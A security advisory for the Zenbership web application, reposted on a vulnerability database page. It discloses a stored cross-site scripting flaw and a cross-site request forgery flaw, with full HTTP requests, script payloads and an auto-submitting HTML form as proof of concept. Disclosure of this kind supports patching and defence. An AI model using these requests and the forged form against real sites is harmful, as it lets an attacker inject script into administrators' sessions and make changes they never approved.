Vulners
Lucene search
Zenbership 107 - Multiple Vulnerabilities
1. ADVISORY INFORMATION
========================================
Title: Zenbership (latest version) - Multiple Vulnerabilities
Application: Zenbership
Class: Sensitive Information disclosure
Versions Affected: <= latest version )
Vendor URL: https://www.zenbership.com/
Software URL: https://www.zenbership.com/Download
Bugs: CSRF / Persistent Cross Site Scripting
Date of found: 23.10.2016
Author: Besim
2.CREDIT
========================================
Those vulnerabilities was identified by Besim ALTINOK and Mrs. Meryem AKDOĞAN
3. VERSIONS AFFECTED
========================================
<= latest version
4. TECHNICAL DETAILS & POC
========================================
PR1 - Stored Cross Site Scripting
========================================
1 ) Admin login admin panel
2 ) Create contact form for guest (http://site_name/path/register.php?action=reset&id=3c035c2)
3 ) Attacker enter xss payload to last name input
4 ) XSS Payload run when admin looked contact page (http://site_name/path/admin/index.php?l=contacts)
5 ) Vulnerability Parameter and Payload : &last_name=<Script>alert('ExploitDB')</Script>
## HTTP Request ##
POST /zenbership/pp-functions/form_process.php HTTP/1.1
Host: site_name
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://site_name/zenbership/register.php?action=reset&id=3c035c2
Cookie: phpwcmsBELang=en; PHPSESSID=8jvb8kr06gorp07f62hqta9go5; browserupdateorg=pause; __utma=1.252344004.1477173994.1477173994.1477206731.2; __utmc=1; __utmz=1.1477173994.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); zenseshold=2bdeaefcdc97966f9d8df00752a5cefd; zen_admin_ses=b2d51bb8f8b895f751dee72db8889bce-470476f3e9d2b2b0d3465b82ce6cd889-7ecb9b7770668e2ecd0a049b60576e44; zen_cart=WJL-1484545251; zen_0176e737b450bbd83f5fc1066=253782
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 153
- POST DATA
page=1
&session=zen_0176e737b450bbd83f5fc1066
&first_name=Besim
&last_name=<Script>alert('ExploitDB')</Script>
&[email protected]
PR2 - CSRF
========================================
1 ) Attacker can add new event with xss payload (stored)
- File : admin/cp-functions/event-add.php
HTTP Request and CSRF PoC
=========================
## HTTP Request ##
POST /zenbership/admin/cp-functions/event-add.php HTTP/1.1
Host: site_name
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://site_name/zenbership/admin/index.php?l=events
Content-Length: 1206
Cookie: phpwcmsBELang=en; PHPSESSID=8jvb8kr06gorp07f62hqta9go5; browserupdateorg=pause; __utma=1.252344004.1477173994.1477173994.1477206731.2; __utmc=1; __utmz=1.1477173994.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); zenseshold=2bdeaefcdc97966f9d8df00752a5cefd; zen_cart=LKQ-4724862238; zen_admin_ses=b2d51bb8f8b895f751dee72db8889bce-470476f3e9d2b2b0d3465b82ce6cd889-7ecb9b7770668e2ecd0a049b60576e44
Connection: close
- POST DATA
id=JFW996951
&ext=
&edit=0
&event[id]=JFW996951&event[status]=1
&event[name]=<Script>alert('Meryem-ExploitDB');</Script>
&event[tagline]=Meryem&event[description]=<p>Meryem AKDOGAN</p>
&event[post_rsvp_message]=<p>Meryem AKDOGAN</p>
&event[calendar_id]=1
&event[custom_template]=
&tags=
&event[starts]=2016-10-26 00:00:00
&event[ends]=2016-10-28 00:00:00
&event[start_registrations]=2016-10-24 00:00:00
&event[close_registration]=&event[early_bird_end]=
&event[online]=0&event[location_name]=Turkey
&event[url]=&event[address_line_1]=
&event[address_line_2]=&event[city]=
&event[state]=&event[zip]=
&event[country]=
&event[phone]=
&limit_attendees_dud=0
&event[max_rsvps]=
&event[members_only_view]=0
&event[members_only_rsvp]=0
&event[allow_guests]=1
&event[max_guests]=1
&form[col2][Account Overview]=section
&form[col2][company_name]=1
&form[col2][address_line_1]=0
&form[col2][address_line_2]=0
&form[col2][city]=0
&form[col2][state]=0
&form[col2][zip]=0
&form[col2][country]=0
&form[col2][url]=0
## CSRF PoC ##
<html>
<!-- CSRF PoC -->
<body>
<form action="http://site_name/path/admin/cp-functions/event-add.php" method="POST">
<input type="hidden" name="id" value="OXH978786" />
<input type="hidden" name="ext" value="" />
<input type="hidden" name="edit" value="0" />
<input type="hidden" name="event[id]" value="OXH978786" />
<input type="hidden" name="event[status]" value="1" />
<input type="hidden" name="event[name]" value="<script>alert('Meryem-ExploitDB');</Script>" />
<input type="hidden" name="event[tagline]" value="meryem" />
<input type="hidden" name="event[description]" value="<p>Meryem AKDOGAN</p> " />
<input type="hidden" name="event[post_rsvp_message]" value="<p>Meryem AKDOGAN</p> " />
<input type="hidden" name="event[calendar_id]" value="1" />
<input type="hidden" name="event[custom_template]" value="" />
<input type="hidden" name="tags" value="meryem" />
<input type="hidden" name="event[starts]" value="2016-10-26 00:00:00" />
<input type="hidden" name="event[ends]" value="2016-10-28 00:00:00" />
<input type="hidden" name="event[start_registrations]" value="2016-10-24 00:00:00" />
<input type="hidden" name="event[close_registration]" value="" />
<input type="hidden" name="event[early_bird_end]" value="" />
<input type="hidden" name="event[online]" value="0" />
<input type="hidden" name="event[location_name]" value="Turkey" />
<input type="hidden" name="event[url]" value="" />
<input type="hidden" name="event[address_line_1]" value="" />
<input type="hidden" name="event[address_line_2]" value="" />
<input type="hidden" name="event[city]" value="" />
<input type="hidden" name="event[state]" value="" />
<input type="hidden" name="event[zip]" value="" />
<input type="hidden" name="event[country]" value="" />
<input type="hidden" name="event[phone]" value="" />
<input type="hidden" name="limit_attendees_dud" value="0" />
<input type="hidden" name="event[max_rsvps]" value="" />
<input type="hidden" name="event[members_only_view]" value="0" />
<input type="hidden" name="event[members_only_rsvp]" value="0" />
<input type="hidden" name="event[allow_guests]" value="1" />
<input type="hidden" name="event[max_guests]" value="1" />
<input type="hidden" name="form[col2][Account Overview]" value="section" />
<input type="hidden" name="form[col2][company_name]" value="1" />
<input type="hidden" name="form[col2][address_line_1]" value="0" />
<input type="hidden" name="form[col2][address_line_2]" value="0" />
<input type="hidden" name="form[col2][city]" value="0" />
<input type="hidden" name="form[col2][state]" value="0" />
<input type="hidden" name="form[col2][zip]" value="0" />
<input type="hidden" name="form[col2][country]" value="0" />
<input type="hidden" name="form[col2][url]" value="0" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
# 0day.today [2018-04-11] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
26 Oct 2016 00:00Current
0.2Low risk
Vulners AI Score0.2